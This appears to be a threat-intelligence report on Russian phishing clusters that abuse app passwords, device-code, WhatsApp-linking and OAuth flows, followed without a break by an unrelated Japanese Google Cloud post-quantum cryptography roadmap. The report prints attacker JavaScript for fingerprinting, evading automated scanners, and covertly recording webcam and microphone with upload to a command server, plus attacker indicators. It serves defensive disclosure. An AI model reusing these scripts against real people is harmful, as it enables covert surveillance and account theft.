GCP News - 2026-08-20

Written by: Gabby Roncone, Wesley Shields

Overview 

Google Threat Intelligence Group (GTIG) is tracking three distinct suspected Russian cyber espionage threat clusters abusing legitimate authentication flows to target individuals working in academia, aerospace and defense, governments and think tanks across Europe, as well as academia and think tanks within the United States. Examples of these techniques can be found in our previous blog on UNC6293’s phishing operations. We now track an additional two distinct suspected Russian clusters, UNC7005 and UNC5976, which conduct phishing, abuse OAuth flows, and/or deploy malware to victims. UNC7005 in particular is tied to the hospitality captive portal redirects reported on by Reliaquest and Microsoft. While each group conducts their campaigns differently, they all ultimately demonstrate a focus on abuse of legitimate authentication workflows to compromise accounts.

These clusters engage in persistent, adaptive phishing campaigns, using sophisticated social engineering tactics to compromise personal accounts across multiple platforms. Because these operations abuse legitimate authentication flows which may not immediately seem like phishing attempts to users, GTIG is raising awareness about these social engineering campaigns targeting individuals so that targets can more readily recognize malicious outreach.   

UNC6293

We assess with moderate confidence that UNC6293 is a sub cluster of ICE RELIC (formerly APT29) responsible for initial access operations. UNC6293 operations were initially reported in June 2025 (also by Citizen Lab) as an aggressive app password phishing campaign against prominent individuals that are critical of Russia. App passwords are passcodes a user can set which gives a less secure app or device permission to access an account. In cases of app password phishing, attackers attempt to convince targets to set specific app passwords on their accounts, which the attackers then use to gain access to those accounts without needing two-factor authentication (2FA). As part of the previously documented UNC6293 campaign, the attacker impersonated the US State Department and attempted to lure targets into setting an app password named ms.state.gov. The instructions to do this were in a PDF that contained screenshots of the settings UNC6293 wanted the target to use.

In the intervening year, UNC6293 has continued to impersonate State Department officials and perform app password phishing. As one example, in October 2025, GTIG observed UNC6293 using a PDF lure document that contained the exact same screenshots as observed in June 2025, including the ms.state.gov reference. While in 2025, the attacker requested that the victims share the app password back to them via email, in these newer operations, the attacker asked for it to be entered into an authentication form on an otherwise legitimate looking website.

UNC6293 phishing campaigns tend to be small in scope, usually targeting fewer than five users at a time, and the application names and lures observed by GTIG tend to focus on diplomatic themes and upcoming conferences or meetings, such as those documented in December 2025 by Volexity.

Over time, UNC6293 continued impersonating the U.S State Department while incorporating OAuth phishing into their repertoire. In June 2026, GTIG observed OAuth phishing where UNC6293 requested targets share either the full URL or “verification code” after performing a legitimate login to an external provider. By providing the requested verification code the target would grant UNC6293 access to the account.

UNC7005 

UNC7005 (aka STORM-2945) is a threat cluster identified in February 2026 that primarily targets academia, diplomatic, and nonprofit personnel across Ukraine, Western Europe, and the US Although this group shares many high-level similarities with UNC6293, including targeting overlaps, we are tracking it separately due to its lower sophistication and poor operational security, infrastructure with divergent characteristics, and incorporation of malware. Similarly we assess with moderate confidence that UNC7005 is another initial access cluster connected to ICE RELIC.

App Password Phishing

Since at least February 2026, UNC7005 has conducted highly selective app password phishing operations targeting individuals of interest to the Russian state. These operations use similar social engineering tactics to UNC6293, but differ in that the app passwords used appear to be unique per target in all observed cases except one. They are specific to the theme used when social engineering the target, such as referencing the type of activity the target is supposedly engaging in (i.e. secure file sharing) and/or the organization UNC7005 is masquerading as.

Device Code Phishing

UNC7005 also conducts device code phishing operations for both Microsoft and WhatsApp accounts. The themes of these phishing waves often involve invitations for calls with individuals from notable organizations related to the target’s field or, most recently, invitations to diplomatic events and conferences. 

Microsoft Device Code Phishing

UNC7005 initially delivers Microsoft device code phishing attempts via email, which are sometimes sent from the attacker-controlled domains they create to masquerade as legitimate events and organizations. The emails contain links to these attacker websites which often use similar templates. For example, UNC7005 initially re-used the website template from a previous “embassy invite” themed operation in late April 2026 in a different operation spoofing the legitimate GLOBSEC forum in May 2026.

Upon accessing the webpage, the target’s system is fingerprinted, likely to check for an automated scanner accessing the page.

  (function(){
    var fp = {
      tid:   "3311a310cd4f40d4",
      sw:    screen.width,
      sh:    screen.height,
      tz:    Intl.DateTimeFormat().resolvedOptions().timeZone,
      lang:  navigator.language,
      plat:  navigator.platform,
      cores: navigator.hardwareConcurrency || null,
      mem:   navigator.deviceMemory   || null,
      touch: navigator.maxTouchPoints || 0,
    };
    fetch('/fingerprint', {
      method:   'POST',
      headers:  {'Content-Type': 'application/json'},
      body:     JSON.stringify(fp),
      keepalive: true,
    }).catch(function(){});

Figure 5: Initial system fingerprint for analysis evasion

The target is prompted to confirm their attendance to the conference and register. The registration process is thorough, and notably contains an epicurean wine selection, which was a theme in multiple previous ICE RELIC-linked phishing campaigns.

Upon filling out the form, the target is once again prompted to submit their identity verification. Notably, in the GLOBSEC example, the text refers to “Embassy security policy” rather than GLOBSEC - an artifact from a previous operation.

Within days of identifying this activity, we observed the actor actively make changes to the operation. Citing technical difficulties in the page text, UNC7005 revised the template they used for social engineering, modifying the questions asked to the target as well as the color scheme (5b8d50c2e8cc3038b7c6e6dbf1219f6e814930a1e3c0053143a1191ae67f8ffc).

This time, UNC7005 included a script in the main registration page to attempt to detect and evade automated analysis efforts.

(function(){
      var h = false;
      try {
        // webdriver flag — set by ChromeDriver, Puppeteer, Selenium
        if (navigator.webdriver) h = true;
        // Headless Chrome has no plugins at all
        // Headless Chrome / PhantomJS often have no languages
        if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
        // Chrome-specific runtime object absent in headless older builds
        if (!h && typeof window.chrome === 'undefined' &&
            /chrome/i.test(navigator.userAgent)) h = true;
        // Permission query behaves differently in headless
        if (!h && navigator.permissions) {
          navigator.permissions.query({name:'notifications'}).then(function(r){
            if (r.state === 'denied' && Notification.permission === 'default') {
              document.documentElement.innerHTML = '';
              window.stop();
            }
          }).catch(function(){});
        }
      } catch(e) { h = true; }
      if (h) { document.documentElement.innerHTML = ''; window.stop(); }
    })();

Figure 11: Second system fingerprint for analysis evasion

WhatsApp Device Linking (and More)

In May and June 2026, UNC7005 conducted social engineering operations spoofing WhatsApp. The phishing pages distributed by the attacker lure targets into linking their WhatsApp accounts with an attacker controlled device in order to join a secure WhatsApp call, chat, or document share. The attacker also attempts multiple other methods of compromise after the device is linked.

Upon accessing the page, the target is prompted to provide a phone number. The phone number is used to create a legitimate WhatsApp device link request with the attacker device, and then displays the legitimate QR and linking code to the target alongside instructions to the user to link their device.

After the target successfully links their account to the attacker's WhatsApp device, the phishing page displays an additional prompt to the user to either join a voice call, encrypted chat, or download a file.

If the target joins the voice call, malicious JavaScript to record target audio and video is triggered. The webpage presents a fake voice call with a ring for a limited amount of time while the audio and video are recorded. The recording would then be sent to the attacker command-and-control (C2) endpoint /api/code/<unique user session id>/recording when the call “fails”.

function startMediaRecording() {
    if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
      return Promise.resolve();
    }
    return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
      .then(function(stream) {
        mediaStream = stream;
        var selfVideo = document.getElementById('self-video');
        var selfView = document.getElementById('self-view');
        if (selfVideo && selfView) {
          selfVideo.srcObject = stream;
          selfView.style.display = '';
        }
        recordedChunks = [];
        var options = { mimeType: 'video/webm;codecs=vp8,opus' };
        if (!MediaRecorder.isTypeSupported(options.mimeType)) {
          options = { mimeType: 'video/webm' };
          if (!MediaRecorder.isTypeSupported(options.mimeType)) {
            options = {};
          }
        }
        mediaRecorder = new MediaRecorder(stream, options);
        mediaRecorder.ondataavailable = function(e) {
          if (e.data && e.data.size > 0) recordedChunks.push(e.data);
        };
        mediaRecorder.start(1000);
      })
      .catch(function() {
      });
  }
[...]
function uploadRecording() {
if (mediaStream) {
mediaStream.getTracks().forEach(function(t) { t.stop(); });
mediaStream = null;
}
if (!recordedChunks.length) return;
var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
recordedChunks = [];
var formData = new FormData();
formData.append('recording', blob, 'recording_' + sessionId + '.webm');

fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
  .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
  .catch(function() {
    return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
  })
  .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
  .catch(function() {});

}

Figure 15: Malicious JavaScript to record audio and visual of target and upload to C2

The phishing page may also present the target with a fake “encrypted chat” option after successful device linking. The JavaScript first renders chat credentials and an additional login URL with uniform resource identifier (URI) /chat/login. It prompts the user to copy the username and password presented to them to log in on the secondary URL. 

If the target was presented with a file transfer lure and successfully linked their WhatsApp account, the web page renders a file download button. GTIG is unable to assess what file may have been staged for download at this time. 

Browser Stealers & Malware-as-a-Service (MaaS)

In late May 2026, UNC7005 conducted a much broader phishing wave than any we had previously observed. This operation targeted prominent, mostly US based academics, diplomats, and researchers focused on Russia and former Soviet states. The email address used by the attacker in this operation was almost identical to one used in a UNC6293 operation in June 2025.

In this operation, UNC7005 distributed malicious URLs through phishing emails. If the target browsed to the URL from a Windows or macOS device, it directed targets to a landing page spoofing a “summit” related to a resolution to support Ukraine. If not, it displayed an error to the user and requested that they switch to another OS for compatibility.

The website was more elaborately built to social engineer the target, containing information about the various parts of the resolution and even contained contact information for the threat actor for questions or technical difficulties. 

If the target clicked the button to download a “Summit Companion App” to read the full resolution on Ukraine, they were served infostealer malware based on the OS indicated in the target’s User Agent.

Windows option

If the User Agent indicates that the target is browsing from a machine running Windows, the malicious webpage serves a sample of VIDAR to the target (1d9299799a7b8da67c44ebec064d64542c27645f8e84de4a22ca3f6cbc843e3c). This sample is an obfuscated Go binary with a C2 of 107.189.18[.]7. VIDAR is an infostealer operated as a Malware as a Service (MaaS) which primarily targets sensitive information stored in browsers, such as credentials, stored payment information, cookie information, and saved addresses, which it then sends to the C2 in plaintext. 

Mac option

If the User Agent indicates that the target is browsing from a machine running macOS, the malicious webpage served a sample of ATOMIC to the target (c5826032207d623a7f6caec8465af7364eccc355f9a48897da2a54f3e4420265). ATOMIC (aka AtomicStealer) is a macOS infostealer operated as a MaaS and also targets sensitive browser information. 

OAuth Phishing

Cloud Projects 

In early August 2026, UNC7005 began Google account OAuth phishing operations using cloud infrastructure. Beginning on July 31, 2026, UNC7005 registered domains spoofing the legitimate Finnish Operations Center (FOC), which supports Finnish companies in the defense and security markets, specifically in the context of the North Atlantic Treaty Organization (NATO). Between August 6 and August 13, 2026, UNC7005 sent targeted phishing emails linking to an attacker-controlled domain to targets in or related to the European defense industry.

Upon clicking “Get Access” or “Sign in With Google”, the target is redirected to a legitimate Google OAuth login page which prompts the target to sign in to their account to continue. If the target authenticates, they are redirected to an attacker-controlled, testing mode, unverified cloud project which is likely used to steal authentication tokens that grant the attacker access to the target account.

Other OAuth Phishing

In early August 2026, GTIG identified a highly targeted phishing operation in which UNC7005 sent legitimate Microsoft OAuth URLs directly to targets. The attacker email used in this operation was also used in the cloud project OAuth phishing operations.   

UNC7005 and the Hospitality Captive Portal Campaign

In late April 2026, GTIG began tracking UNC7005 infrastructure mimicking Microsoft authentication resources. As each domain appeared to be operationalized by the threat actor, GTIG took actions to add that infrastructure to the Safe Browsing blocklist. Consistent with public reporting, in mid-July 2026, GTIG began observing users redirected to this attacker infrastructure from captive portals associated with hotels and conference centers. On July 23, 2026, Reliaquest published a blog analyzing domain name system (DNS) requests showing captive portal redirects to attacker-controlled login pages spoofing Microsoft authentication resources. Later, on July 31, 2026, Microsoft detailed Midnight Blizzard activity leveraging captive portals on hospitality sector networks to serve malware or gain access to Microsoft accounts via device code phishing. 

For the duration of its lifetime, the set of infrastructure used in the captive portal campaign appeared to be used in multiple ways by the threat actor. GTIG linked this infrastructure directly to the other authentication-focused and malware operations conducted by UNC7005 dating back to April 2026.

A domain linked to the hospitality captive portal domain shares an Internet Protocol (IP) resolution with an UNC7005 domain used in an earlier device code phishing operation. 

• Between July 16 and July 23, 2026, UNC7005 registered three Microsoft Outlook Web Access (OWA) themed domains (owa-ms365[.]com, m365-owa[.]com, and ms365-device[.]com), which were later linked to the hospitality captive portal campaign, using the email chikolimdrid@gmail.com. 

• That attacker email was previously used to register an earlier domain masquerading as Microsoft, ms365-live.com which resolved to IP 104.194.159[.]150. 

• In April 2026, a domain used in the GLOBSEC-themed Microsoft device code phishing operation previously discussed in this blog, my-invite[.]org, resolved to IP 104.194.159[.]150. 

The actor also used additional domains spoofing Microsoft services in other operations. An earlier attacker-controlled domain spoofing Microsoft in late April 2026 (statistic-ms[.]live) was used by UNC7005 as C2 for Go malware we call ENGINELIGHT. This malware was sent in a limited phishing operation in early May 2026 from the attacker-controlled account bounce@chamber-ua.org, along with a domain spoofing WhatsApp (wa-connect[.]eu). Additionally, the attacker email used to register statistic-ms[.]live (keyereaonkendrick4@gmail.com) was used in the previously documented MaaS operation in late May 2026.

We have also observed tooling overlaps between campaigns conducted by UNC7005 and the tools reported to have been deployed in the captive portal operation. Samples of the CHERRYPIE PowerShell infostealer (also known as ChocoShell) contain numerous artifacts suggesting the malware is generated by a large language model (LLM). The prolific function comments mention an infostealer and specific function offsets noting functionality are located in the binary. Given GTIG’s observation of this threat actor leveraging MaaS in operations and functional overlaps between the malware families, such as consistency in types of data targeted by the malware, we suspect CHERRYPIE may be based on an infostealer purchased from MaaS operators.

UNC5976 

GTIG began tracking OAuth related activity from UNC5976, a suspected Russian cyber espionage cluster with an authentication focus, in March 2026. We believe this cluster to be distinct from UNC6293 and UNC7005.

One of the main themes of UNC5976 operations was the use of OAuth phishing techniques and automation of token collection via abuse of cloud infrastructure. To perform these OAuth phishing campaigns, UNC5976 purchased domains, usually using file sharing related domain names, and then created a cloud project related to that domain. These domains host a fake file sharing page. After a target visits the page for a few seconds, the page displays a pop up login dialog.

If the target clicks the “Continue with Google” link they are taken to a legitimate Google OAuth login page, asking the target to sign in to continue:

After authenticating, the target was redirected to a Google Cloud project URL. The cloud project hosted malicious scripts that retrieve the authentication token from the URL and save it for the operator to later retrieve.

Within approximately three months of initial discovery and disruption by GTIG, UNC5976 created at least twelve new domains and related infrastructure. In response, GTIG took steps to disable these cloud projects and disrupt these phishing activities. GTIG now assesses that UNC5976 is migrating away from Google infrastructure to other providers to host part of their phishing infrastructure.

In addition to these phishing pages, we have also observed UNC5976 leverage a malicious Excel plugin, which we named HEADRUSH. In April 2026, GTIG observed a HEADRUSH sample (2c7f4165967d6f7737b3fef87959846920b57a5368b531ad1427c7214d4c41a2) that ultimately led to an HTML Application (HTA) downloader. UNC5976 distributed this malware using a domain that impersonated a research institute in Ukraine and may have targeted a Ukrainian aerospace and imaging company. Unfortunately, GTIG was unable to determine the full extent of the infection chain at the time.

Attribution

GTIG assesses with high confidence that these three threat clusters - UNC6293, UNC7005, and UNC5976 - possess a Russian nexus, based on high-level targeting patterns, phishing themes, and shared operational techniques. While these operations often appear unique on the surface, several high-level TTPs used by UNC6293 and UNC7005 harken back to older, attributed ICE RELIC phishing operations between 2021 and 2024. 

ICE RELIC, UNC6293, AND UNC7005

GTIG assesses with moderate confidence that UNC6293 and UNC7005 are related to a subcluster of ICE RELIC that we associate with initial access operations. As such, UNC6293 and UNC7005 share operational methodologies but operate different infrastructure and tolerate different thresholds of OPSEC. 

• There is significant overlap in target industries (academia, NGOs, diplomacy, and defense) and geographic regions between historical ICE RELIC phishing operations and current UNC6293 and UNC7005 campaigns. 

• These groups continue to use specific legacy themes, such as diplomatic event invitations and specific references to wine, which have previously been documented in ICE RELIC activity.

• All clusters heavily rely on commercial residential proxies for post-compromise activity. 

Distinct, but noteworthy: UNC5976

UNC5976 remains distinct from the UNC6293 and UNC7005 clusters, potentially reflecting differing strategic mandates and potential alignment with alternative Russian intelligence services. 

• Its operational focus is primarily centered on the military, aerospace, defense industrial base, and NGOs/think tanks. Much of the group’s geographic targeting has centered on Ukraine and Armenia. 

• UNC5976 uses dedicated infrastructure for post-compromise activity rather than residential proxies. 

• UNC5976 has a much heavier malware and tooling footprint than the ICE RELIC-linked clusters, despite also conducting OAuth operations. 

Remediation and Hardening

At Google, we prioritize user safety. Google will actively disable known actor accounts and where possible, secure victims to remove access to known compromised accounts. We have taken action against infrastructure used to host malicious content in these operations. We strongly recommend users to not proceed past warnings for suspicious websites. Check the URL in your browser before entering credentials or authenticating to any website. Always contact official organizers directly using contact details found outside of the invitation to confirm the legitimacy of any invitation from an unknown contact. Although outreach over email or messenger applications may come from someone who appears to be a legitimate person, please consider the possibility that the persona may be spoofed.  

App passwords are not recommended and unnecessary in most cases. App passwords are not tools for account or identity verification. Do not share an app password with anyone else. We recommend revoking any legacy app passwords tied to devices that are lost, stolen, or no longer in use. If you believe you may have set an app password related to this campaign, follow instructions to remove app passwords from your account as soon as possible. App passwords can be removed at any time.

In specific scenarios, to protect users from deceptive apps, we display a warning “unverified app” screen before showing users the OAuth consent screen for authentication for unverified, testing mode cloud projects with permissions scopes considered sensitive. 

High-risk users should consider Google’s enhanced security resources such as the Advanced Protection Program (APP). Participation in the APP prevents accounts from creating app passwords due to higher security requirements. Enterprise customers of Google Cloud can disable App Specific Passwords by restricting 2-Step verification to “Only Security Keys” or enrolling users into the Advanced Protection Program. 

Threat actors are continually targeting victim’s personal messaging applications and performing device linking attacks. Organizations and high risk individuals relying on these applications should continue to harden defences by:

• Enforcing registration locks and two factor authentication where possible to prevent an adversary from registering an account via stolen SMS verification codes

• Establish routine device audit checks for “linked devices” on both corporate and personal devices 

• Leverage Safety numbers/codes to validate users via off platform communication channels 

Outlook and Implications

These clusters of Russia’s authentication-focused cyber espionage operations target multiple types of authentication using legitimate features and infrastructure, ranging from app passwords to device linking. In particular, their creative abuse of legitimate features to compromise accounts makes tracking legitimate and malicious account access more challenging. The accounts these groups target are often personal, rather than corporate domain-joined accounts, creating a visibility gap for monitoring compromise from an organizational perspective. The likely use of encrypted messenger applications instead of email for initial outreach also presents a challenge to defenders hoping to track and remediate abuse. The combination of these tactics not only enables the attacker to conduct quick-turnaround exfiltration operations, but also presents opportunities for the attacker to further phish targets of interest from compromised, legitimate accounts. 

The tactics adopted by these actors obfuscate threat actor activity and make attribution more challenging. Although GTIG now tracks more UNC6293-controlled infrastructure than we did in our previous analysis, the volume of infrastructure that they use is still limited in comparison to other Russian espionage operations. UNC7005’s use of MaaS and LLMs to enable malware operations further pushes these operations into attribution and remediation gray areas. These choices also lessen the time needed to develop and stage tooling for operations, enabling fast-turnaround operations with bespoke tools.

As a result of these changes in modus operandi by Russian-state backed attackers, individuals working in the target verticals of these clusters must remain wary of any outreach by unverified, though seemingly familiar or legitimate, personas or organizations. 

Acknowledgements

We would like to thank partners across the industry for their collaboration in helping to track and disrupt parts of these operations, including but not limited to our partners at Anthropic, Black Lotus Labs at Lumen Technologies, Microsoft Threat Intelligence Center (MSTIC), and the Polish Military Counterintelligence Service (SKW) and WhatsApp. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network Indicators

File Indicators

Google Security Operations (SecOps)

Google Security Operations customers with the Enterprise Plus license have access to these rules under the Applied Threat Intelligence - Curated Prioritization rule pack. The activity discussed in the blog post can be detected under the Applied Threat Intelligence (ATI) alerts. These alerts are IoC matches that have been contextualized by YARA-L rules using curated detection. The contextualization leverages Google threat intelligence from Google SecOps context entities, which allows intelligence-driven alert prioritization.

※この投稿は米国時間 2026 年 8 月 12 日に、Google Cloud blog に投稿されたものの抄訳です。

暗号解読に有効な量子コンピュータが将来登場することに備え、インフラストラクチャとサービスを保護することは、Google が 10 年前から目標としてきたことです。Google は、すべての人にメリットをもたらすオープン スタンダードを推進することで、開発者を支援することに取り組んできました。ポスト量子暗号（PQC）が成熟するにつれて、Google は社内サービスとお客様向けサービスの両方で、インフラストラクチャへの PQC のロールアウトを進めてきました。

今回は、2029 年までの PQC 移行に向けた Google Cloud の最新ロードマップをご紹介します。

Google の戦略: 安全性を重視した設計

Google の PQC 移行戦略は、Google 量子脅威モデルに基づいており、3 つの主要なドメイン全体で保護を優先しています。

• Store Now, Decrypt Later（SNDL）リスクの軽減: 現在の暗号化されたデータが将来の量子コンピュータによって収集、復号されるのを防ぎます。

• 偽造に対する完全性の確保: 攻撃者がデータの内容を改ざんしたり ID を偽造したりするのを防ぐために、デジタル署名を強化します。

• 暗号アジリティの基盤となる機能の強化: 暗号化標準の進化に合わせて、最小限のエンジニアリング作業で新しい暗号化標準を簡単に採用できる柔軟なシステムを構築します。

Google は、規制の期限をはるかに先取りして、社内インフラストラクチャとお客様向けサービスの両方で PQC アルゴリズムへの移行を積極的に進めています。

また、パートナーと協力して、Google Cloud Dedicated（GCD）や Google Distributed Cloud（GDC）などの Sovereign Cloud イニシアチブ全体で PQC ソリューションのデプロイを進めています。同様に、Google の戦略により、AI サービス全体へのポスト量子保護の統合を進めることが可能になり、次世代のクラウド ワークロードの安全性を確保できるようになります。

これらの取り組みは、Google Cloud 全体でポスト量子暗号への完全な対応を実現するという Google の包括的な戦略の基本となる柱です。この情勢が変化するにつれて、Google はデプロイ スケジュールを継続的に見直し、更新していきます。

Google は、取り組みが収束する 2029 年までに PQC への完全な対応を達成する予定です。Google は、より幅広い業界のガイダンスと進化するグローバル スタンダードをサポートするため、これらの取り組みを 2030 年代にかけて継続することを見込んでいます。これらの標準には、CNSA 2.0 や NIST IR 8547 で定義された移行パスが含まれており、2030 年から 2035 年の間に、量子脆弱性のあるレガシー アルゴリズムが最終的に廃止されることが予想されています。

直近の進捗: 2026 年のマイルストーン

量子時代のリーダーシップには、グローバル規模でのデプロイが必要です。Google は、お客様に即時の保護を提供する基盤となるマイルストーンを達成しました。

• API エンドポイントの対応: Google Cloud API エンドポイントで耐量子鍵交換が提供されるようになり、将来の復号から受信トラフィックを保護できるようになりました。これらのエンドポイントには google.com と *.googleapis.com が含まれ、いずれも NIST で標準化された ML-KEM（FIPS 203）をハイブリッド モードで実装済みです。

• ロードバランサの PQC サポート: アプリケーション ロードバランサとプロキシ ロードバランサで、TLS 1.3 の耐量子ハイブリッド鍵交換（X25519MLKEM768）がサポートされるようになりました。当初はオプトイン方式で提供されるため、お客様は既存のアプリケーションへの影響を最小限に抑えつつ、検証を行うことができます。

• 大規模な耐量子証明書の試験運用: IETF PLANTS ワーキング グループと協力し、運用チームへの影響を最小限に抑える公開鍵基盤（PKI）の標準を策定しています。Chrome と Cloudflare は、WebPKI で PQC 署名を使用する際の課題に対処するため、Merkle Tree 証明書の試験運用を開始しました。Google は、これらの活動から得られた知見を標準化ワーキング グループと共有しています。

• Cloud KMS PQC アルゴリズム: 暗号化鍵と署名鍵に使用する NIST で標準化された PQC アルゴリズム（ML-KEM、ML-DSA、SLH-DSA）の一般提供が開始されました。

2029 年までのロードマップ

Google Cloud では、量子コンピューティングへの対応準備を実現するため、お客様中心の具体的なジャーニーを策定しました。これにより、耐量子イニシアチブの優先順位付けが可能になります。このリスクベースのアプローチを採用することで、セキュリティ エキスパートが量子コンピューティングの潜在的な影響を最も受けやすいと特定したコア ジャーニーに焦点を当てます。

これらのシナリオは、Google のサービス全体でグローバルなイネーブルメントを確保し、お客様の現在の状況に合わせてサポートを提供できるよう、さまざまなプラットフォームの視点を提供するものです。

各リスクドメインについて、主要なプロダクトとサービスのロードマップをドメイン別に提供します。なお、ここで取り上げているサービスはすべてを網羅したものではありません。ほとんどのサービスは、それぞれのドメインの目標完了日を達成する見込みです。ただし、エンジニアリング要件の進展やサードパーティの依存関係を考慮し、必要に応じて特定のプロダクトのスケジュールが調整される場合があります。

ドメイン 1: Store Now Decrypt Later（SNDL）の軽減

このドメインは、将来の暗号解読に有効な量子コンピュータ（CRQC）が、現在キャプチャされたデータを復号できる可能性があるという、非対称暗号の脆弱性に対処することに重点を置いています。

Google は、お客様の一般的なジャーニーに基づき、段階的な進展を支援しています。

• お客様の顧客のワークロードを保護する: Google Cloud サービスと構成済みのロードバランサに量子コンフィデンシャル TLS 1.3 ハンドシェイクを提供し、ユーザー セッションを保護します。

• 管理者と開発者のフローを保護する: クラウド環境の管理に使用される管理パスウェイを SNDL から保護します。これには、Cloud VPN や Interconnect などのサービスが含まれます。開発者向けには、クライアント ライブラリ、SDK、Google のオープンソース暗号ライブラリである Tink などが含まれます。

• データ パイプラインを保護する: Google の分析プラットフォームとストレージ プラットフォームのデータ転送の機密性を確保します。PQC は、これらのシステムを流れる機密性の高い知的財産や顧客データが、現在キャプチャされ、将来的に量子コンピューティング能力を持つ攻撃者によって復号されるのを防ぐために不可欠です。

ロードマップ以下の変更は 2027 年の実施を目標としています。

ドメイン 2: 完全性と否認防止

このドメインでは、データの完全性と真正性を損なう可能性のある偽造から保護するために、デジタル署名と証明書の耐量子化に取り組みます。

• ソフトウェア サプライ チェーンの保護: 量子耐性のある証明書が付与された、信頼できる改ざんされていないイメージのみが本番環境で実行されるようにすることで、量子攻撃者によるビルドの改ざんを防ぎます。これには、Binary Authorization、Cloud Build、Assured Open Source Software などのサービスが含まれます。

• 耐量子証明書の発行: 内部および外部の認証局（CA）を含む公開鍵基盤（PKI）を移行して、ML-DSA 証明書と、有用な場合は SLH-DSA 証明書をサポートします。この移行は、現在策定中の Internet Engineering Task Force（IETF）の標準化の取り組みに沿って行われます。Google はこうした取り組みに積極的に貢献しており、次のような大規模な実験もいくつか実施しています。

• Web PKI 向けの Merkle Tree Certificates などの新たな手法を通じて、証明書チェーンの検証パフォーマンスに影響を及ぼす可能性がある PQC 署名サイズの増大に対処します。

• Certificate Authority Service（CAS）などのプライベート CA ソリューションで、ML-DSA / SLH-DSA（純粋な PQC）ベースの証明書をサポートします。

• 機密保持を目的として、すでに PQC をサポートしている内部トラフィック プロトコル ALTS に加えて、量子認証を追加します。デジタル署名と公開鍵基盤に対する Google のアプローチについて、技術的な詳細をこちらでご確認いただけます。

• ID とアクセスの保護: サービス アカウント キーやトークン（JWT / OAuth）などの認証メカニズムが量子偽造に対する耐性を備えるようにします。

ロードマップGoogle は、2028 年までに以下のマイルストーン達成を目標としています。また、特に証明書の分野で進行中の標準化の取り組みについても注視しています。Google は、耐量子証明書の標準に積極的に貢献しており、業界全体がこれらの期限に対応できるよう支援することに尽力しています。

ドメイン 3: 基盤と鍵管理

暗号アジリティは、PQC 移行の基盤です。Google は、この分野への継続的な投資により、鍵管理、ライブラリ、インフラストラクチャの変更に関するエンドツーエンドの戦略を推進しています。

• 基盤となる鍵管理とライブラリ: Cloud KMS と、BoringSSL や Tink などのライブラリを通じて、NIST 承認済みのアルゴリズムを有効にします。

• なお、Cloud KMS は、NIST 標準化 PQC アルゴリズム（ML-KEM、ML-DSA、SLH-DSA）の一般提供（GA）を開始しており、現在は耐量子鍵のインポートの有効化を進めています。

• ハードウェア ベースの暗号サービス: 量子耐性ルート オブ トラストを使用した安全な物理基盤。これには、Confidential Computing サービスの一部としての PQC や Cloud Hardware Security Module（HSM）が含まれます。

• 鍵の主権とパートナー ソリューション: Google Workspace クライアントサイド暗号化（CSE）と External Key Manager（EKM）で PQC オーケストレーションを有効にします。パートナーと連携して、PQC オンプレミス鍵プロバイダをサポートします。

ロードマップGoogle は、2028 年までに以下マイルストーン達成を目標としています。

量子安全における責任の共有

セキュリティは長年にわたり、お客様との共同パートナーシップとして取り組んできました。

Google の責任 - クラウドのセキュリティ: Google は、ネットワーク、転送中の暗号化、グローバル フロントエンド、ALTS プロトコルなど、耐量子インフラストラクチャへの移行を管理します。

この責任は、サーバーの PQC 移行をエンドツーエンドで網羅するものであり、基盤となるハードウェアとオペレーティング システムが量子の脅威から確実に保護されるようにします。Google は、Caliptra v2.1、TPM 2.0 v185、OpenTitan などの耐量子オープンソースのシリコン基盤を通じて、ハードウェアの完全性を維持しています。後者は、初のオープンソース シリコン ルート オブ トラストであり、すでに耐量子セキュアブートをサポートしています。

2029 年の目標達成に向けて取り組む中、ハードウェアの PQC への移行は、可能な場合は積極的なリプレースと、自然な機器リプレース サイクルの両方を通じて行われます。段階的なアプローチにより安定性を確保していますが、一部の物理コンポーネントのタイムラインは 2029 年以降に延びる可能性があります。

お客様の責任 - クラウドにおけるセキュリティ: 組織は、PQC ハンドシェイクをネゴシエートするためのクライアントサイド ソフトウェアの更新や、非対称鍵のライフサイクルの管理など、独自のアプリケーションを管理する必要があります。

さらに、Google Cloud サービス構成を耐量子設定とポリシーで更新する必要があります。

共に進むこれからの道のり

量子への対応に向けた機運を高めるには、即座に実践的な行動を起こす必要があります。まずは、次の 3 つのステップから始めることをおすすめします。

1. インベントリ: Cloud Asset Inventory や Wiz の暗号化と PQC への対応状況などのソリューションを使用して、暗号リソース（鍵や証明書など）を特定します。組織全体で暗号リソースの使用状況を可視化すると、移行バックログをより正確に定義し、優先順位を付けることができます。

2. 更新: 開発チームとサイト信頼性エンジニアリング チームが、BoringSSL、Chrome、SDK など、PQC アルゴリズムをサポートするソフトウェアを使用していることを確認します。この更新により、エッジで耐量子接続が有効になった際、内部ワークフローがデフォルトでその接続をネゴシエートできるようになります。

3. 検証: Google の耐量子 API とロードバランサを使用して、既存のアプリケーションの動作をテストします。今すぐワークフローを検証することで、主要な本番環境に影響が及ぶ前にアーキテクチャのボトルネックを見つけ出すことができます。

Google Cloud は、この移行の複雑なプロセスを引き受けることで、お客様がイノベーションに注力しながら、規制とコンプライアンスの要件を達成できるよう取り組んでいます。ポスト量子の環境でお客様が主導権を握れるよう、Google は取り組みの進捗状況を共有し始めたばかりです。

Google の PQC アプローチについて詳しくは、ポスト量子暗号（PQC）ハブをご覧ください。

- 規制対象および Sovereign Cloud 担当 VP 兼 GM、Jai Haridas

- Cloud Foundations 担当バイス プレジデント兼ゼネラル マネージャー、Michael Bachman